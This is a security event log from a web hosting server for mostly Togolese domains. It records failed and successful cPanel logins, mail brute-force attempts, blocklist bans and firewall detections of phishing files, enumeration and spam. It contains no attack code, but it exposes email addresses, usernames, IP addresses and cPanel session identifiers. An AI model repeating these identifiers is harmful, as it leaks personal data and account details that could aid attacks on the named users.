47.128.96.141 - - [08/Jun/2026:16:18:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920041&pdata=https%253A%252F%252Ftdn.tg%252Fenvies-grossesse-origines-femmes-enceintes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780935516 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/envies-grossesse-origines-femmes-enceintes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.141


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.57.192.130
country_id: 6252001
description:
[2026-06-08 16:19:08 +0000] info [whostmgrd] 198.57.192.130 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 198.57.192.130
country_id: 6252001
description:
[2026-06-08 16:19:11 +0000] info [whostmgrd] 198.57.192.130 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 9.154.222.21
country_id: 1643084
description:
[2026-06-08 16:19:26 +0000] info [cpaneld] 9.154.222.21 - sodegoz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodegoz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 207.58.128.110
country_id: 6252001
description:
[2026-06-08 16:19:16 +0000] info [cpaneld] 207.58.128.110 - certlogi "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.198.132.59
country_id: 6252001
description:
[2026-06-08 16:19:18 +0000] info [cpaneld] 124.198.132.59 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun  8 16:18:51 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.34
country_id: 2635167
domain: sahamtg.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/sahamtg/public_html/.375434243007715.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jun  8 16:20:19 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.223
country_id: 6252001
description:
[2026-06-08 16:20:36 +0000] info [cpaneld] 64.44.62.223 NEW sahamtg:dMHb50pgM96iGGC8 address=64.44.62.223,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.211.168.154
country_id: 2363686
description:
[2026-06-08 16:21:51 +0000] info [cpaneld] 102.211.168.154 - fhmqxwla "GET /cpsess3808783007/frontend/jupiter/ssl/install.html?id=camilliens_tg_b9dc3_94055_1810999986_8eb90196c382814803c2720534e1f287 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [102.64.160.153] != Current IP Address [102.211.168.154]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.211.168.154
country_id: 2363686
description:
[2026-06-08 16:22:20 +0000] info [cpaneld] 102.211.168.154 NEW fhmqxwla:jIk6uR7a0wQESp8c address=102.211.168.154,app=cpaneld,creator=fhmqxwla,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.199.23.0
country_id: 1220409
description:
2026-06-08 16:22:47 H=([94.199.23.0]) [94.199.23.0]:39675 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.198.132.59
country_id: 6252001
description:
[2026-06-08 16:25:03 +0000] info [cpaneld] 124.198.132.59 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.135.239.86
country_id: 1522867
description:
2026-06-08 16:26:00 H=([2.135.239.86]) [2.135.239.86]:49601 F=<John@4452.com> rejected RCPT <admin@soena.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.108.51
country_id: 1880251
description:
43.156.108.51 - - [08/Jun/2026:16:27:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854302&pdata=https%253A%252F%252Flaunetogo.tg%252Fdetection-nationale-de-talents-le-togo-boucle-sa-tournee-et-ouvre-la-voie-a-la-releve-sportive%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780936036 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/detection-nationale-de-talents-le-togo-boucle-sa-tournee-et-ouvre-la-voie-a-la-releve-sportive/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.108.51


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.156.114.234
country_id: 1522867
description:
2026-06-08 16:28:35 H=([45.156.114.234]) [45.156.114.234]:60393 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.217
country_id: 2635167
description:
[2026-06-08 16:29:59 +0000] info [cpaneld] 5.230.133.217 NEW vuvwskxh:2fJTZ1KhiQOfDe85 address=5.230.133.217,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 16:31:36 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 16:31:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64887: 535 Incorrect authentication data (set_id=upload)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.111.135
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.111.135||TA:163.198.111.135||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 16:32:33 +0000] info [cpaneld] 160.242.195.10 NEW assedderetrm:zvbJrOJNipx3VsAj address=160.242.195.10,app=cpaneld,creator=assedderetrm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.151
country_id: 6252001
description:
[2026-06-08 16:31:59 +0000] info [cpaneld] 173.211.89.151 NEW hgfdcvbnk:sgtGV9tqqMh1kkdk address=173.211.89.151,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.198.132.59
country_id: 6252001
description:
[2026-06-08 16:32:07 +0000] info [cpaneld] 124.198.132.59 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 136.107.29.169
country_id: 6252001
domain: autodiscover.nerohost.free.netmaster.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/autodiscover/autodiscover.xml/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.6.46.55
country_id: 3932488
description:
Jun  8 16:34:17 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.6.46.55 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.6.46.55
country_id: 3932488
description:
2026-06-08 16:34:19 dovecot_plain authenticator failed for H=(LF21D45A3WC8) [179.6.46.55]:52600: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.198.132.59
country_id: 6252001
description:
[2026-06-08 16:34:14 +0000] info [cpaneld] 124.198.132.59 - kidsedunetmaster "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.146.233.252
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:66.146.233.252||TA:66.146.233.252||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.156.114.234
country_id: 1522867
description:
2026-06-08 16:38:40 H=([45.156.114.234]) [45.156.114.234]:32336 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.68
country_id: 1880251
description:
[2026-06-08 16:39:11 +0000] info [cpaneld] 188.166.248.68 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.107.131.241
country_id: 1814991
domain: www.togosem.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-40.171.107.131.241||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.78.138.46
country_id: 2363686
description:
41.78.138.46 - - [08/Jun/2026:16:40:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066579&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-bac-1-mai-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780936828 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-bac-1-mai-2026/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.78.138.46


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.158.187.232
country_id: 2542007
description:
Jun  8 16:41:57 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.158.187.232 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [08/Jun/2026:16:42:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262679&pdata=http%253A%252F%252Fyzsfow.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780936951 HTTP/1.1" 302 0 yzsfow.mediatopnews.tg "http://yzsfow.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.158.187.232
country_id: 2542007
description:
2026-06-08 16:41:53 dovecot_plain authenticator failed for H=(648A5DR0V5VM) [105.158.187.232]:49296: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [08/Jun/2026:16:41:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13264538&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvaccin-astrazeneca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780936916 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vaccin-astrazeneca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 16:42:37 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61918: 535 Incorrect authentication data (set_id=upload)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [08/Jun/2026:16:42:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869976&pdata=http%253A%252F%252Fyzsfow.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780936954 HTTP/1.1" 302 0 yzsfow.mediatopnews.tg "http://yzsfow.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-08 16:44:55 +0000] info [webmaild] 196.168.0.186 - a.ajavon@wages.tg "POST /cpsess2878413668/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 193.151.190.194
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you loved this short article and you would certainly like to receive more details relating to ||MV:gt;If you loved this short article and you would certainly like to receive more details relating to ||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.104.160.57
country_id: 2017370
description:
2026-06-08 16:45:59 H=([176.104.160.27]) [176.104.160.57]:52589 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.55
country_id: 1512440
description:
2026-06-08 16:47:17 H=([84.54.71.55]) [84.54.71.55]:42087 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 207.58.128.110
country_id: 6252001
description:
[2026-06-08 16:52:18 +0000] info [whostmgrd] 207.58.128.110 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 207.58.128.110
country_id: 6252001
description:
[2026-06-08 16:52:20 +0000] info [whostmgrd] 207.58.128.110 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.62.60.228
country_id: 6252001
description:
[2026-06-08 16:52:24 +0000] info [cpaneld] 50.62.60.228 - c2ie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user c2ie (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.39.47.141
country_id: 2635167
description:
2026-06-08 16:53:39 dovecot_login authenticator failed for H=141.47.39.34.bc.googleusercontent.com (10.154.0.2) [34.39.47.141]:56754: 535 Incorrect authentication data (set_id=elisee.n@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.39.47.141
country_id: 2635167
description:
Jun  8 16:53:37 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.39.47.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.130.8.67
country_id: 6251999
description:
Jun  8 16:55:50 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.130.8.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.130.8.67
country_id: 6251999
description:
Jun  8 16:55:58 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.130.8.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.8.67
country_id: 6251999
description:
2026-06-08 16:55:52 dovecot_login authenticator failed for H=67.8.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.8.67]:59688: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.169.14.155
country_id: 2363686
description:
[2026-06-08 16:55:55 +0000] info [webmaild] 196.169.14.155 - agou1@agou1.mairie.tg "POST /cpsess1490525555/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.112.237] != Current IP Address [196.169.14.155]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.96.87.147
country_id: 1522867
description:
2026-06-08 16:58:11 H=([212.96.87.147]) [212.96.87.147]:27312 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.39.47.141
country_id: 2635167
description:
2026-06-08 17:00:30 dovecot_login authenticator failed for H=141.47.39.34.bc.googleusercontent.com (10.154.0.2) [34.39.47.141]:58770: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.39.47.141
country_id: 2635167
description:
Jun  8 17:00:28 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.39.47.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.55
country_id: 1512440
description:
2026-06-08 17:01:19 H=([84.54.71.55]) [84.54.71.55]:58738 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [08/Jun/2026:17:02:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723689&pdata=https%253A%252F%252Fsnb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780938174 HTTP/2.0" 302 0 snb.tg "https://snb.tg/" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [08/Jun/2026:17:03:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921433&pdata=https%253A%252F%252Fsnb.tg%252Fage%252Fno&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780938219 HTTP/2.0" 302 0 snb.tg "https://snb.tg/age/no" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 138.199.60.176
country_id: 1880251
description:
[2026-06-08 17:06:50 +0000] info [cpaneld] 138.199.60.176 NEW ntopdioi:GnEn74u5KRVp9aPa address=138.199.60.176,app=cpaneld,creator=ntopdioi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.138.75
country_id: 1512440
description:
2026-06-08 17:05:56 H=([185.139.138.75]) [185.139.138.75]:42314 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 216.73.161.243
country_id: 6252001
domain: pnls.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:pnls||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.138.75
country_id: 1512440
description:
2026-06-08 17:07:30 H=([185.139.138.75]) [185.139.138.75]:42320 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.15
country_id: 1814991
description:
123.6.49.15 - - [08/Jun/2026:17:07:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196382&pdata=https%253A%252F%252Fsnb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780938461 HTTP/2.0" 302 0 snb.tg "https://snb.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.15


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.8.19.60
country_id: 6252001
domain: pnls.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:pnls||RSV:8.15||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@davakconsulting.com [06/08/2026:17:08:39 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@davakconsulting.com


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-06-08 17:07:56 +0000] info [cpaneld] 196.171.122.34 NEW mvfxewjz:RxJYIzM8EhLEg6Oq address=196.171.122.34,app=cpaneld,creator=mvfxewjz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [08/Jun/2026:17:10:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842566&pdata=https%253A%252F%252Femt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780938636 HTTP/2.0" 302 0 emt.tg "https://emt.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.32.31.142
country_id: 2921044
description:
2026-06-08 17:12:07 dovecot_login authenticator failed for H=142.31.32.34.bc.googleusercontent.com (10.214.0.2) [34.32.31.142]:55669: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.118.188.215
country_id: 6251999
description:
2026-06-08 17:12:45 dovecot_login authenticator failed for H=215.188.118.34.bc.googleusercontent.com (10.162.0.2) [34.118.188.215]:53620: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.118.188.215
country_id: 6251999
description:
Jun  8 17:12:43 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.118.188.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.32.31.142
country_id: 2921044
description:
Jun  8 17:12:05 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.32.31.142 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@davakconsulting.com [06/08/2026:17:13:41 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@davakconsulting.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.118.188.215
country_id: 6251999
description:
Jun  8 17:12:51 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.118.188.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.118.188.215
country_id: 6251999
description:
2026-06-08 17:12:53 dovecot_login authenticator failed for H=215.188.118.34.bc.googleusercontent.com (10.162.0.2) [34.118.188.215]:54188: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.138.75
country_id: 1512440
description:
2026-06-08 17:16:52 H=([185.139.138.75]) [185.139.138.75]:42335 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.96.227.194
country_id: 1814991
description:
2026-06-08 17:17:29 dovecot_plain authenticator failed for H=(white-ways.com) [119.96.227.194]:34867: 535 Incorrect authentication data (set_id=home@white-ways.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.14.233.115
country_id: 298795
description:
2026-06-08 17:17:35 dovecot_plain authenticator failed for H=(white-ways.com) [213.14.233.115]:44891: 535 Incorrect authentication data (set_id=home@white-ways.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [08/Jun/2026:17:19:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7445399&pdata=http%253A%252F%252Fwww.centif.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780939187 HTTP/1.1" 302 0 www.centif.tg "http://www.centif.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 5.151.177.147
country_id: 2635167
domain: matwtogo.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:64307.matwtogo.org||ServerName:matwtogo.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29c1d28517624f6bc12385f8c5621167c5da3de3||Title:0x079694db||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 17:19:02 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55524: 535 Incorrect authentication data (set_id=upload)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@davakconsulting.com [06/08/2026:17:20:36 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@davakconsulting.com


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:17:19:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12939160&pdata=https%253A%252F%252Fwww.centif.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780939193 HTTP/2.0" 302 0 www.centif.tg "https://www.centif.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-21.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.32.53.102
country_id: 1861060
description:
Jun  8 17:21:24 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.32.53.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Get Acquainted with Your Cash sepoladi.blogspot.pt 4e||Email:ronnieluke1003@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
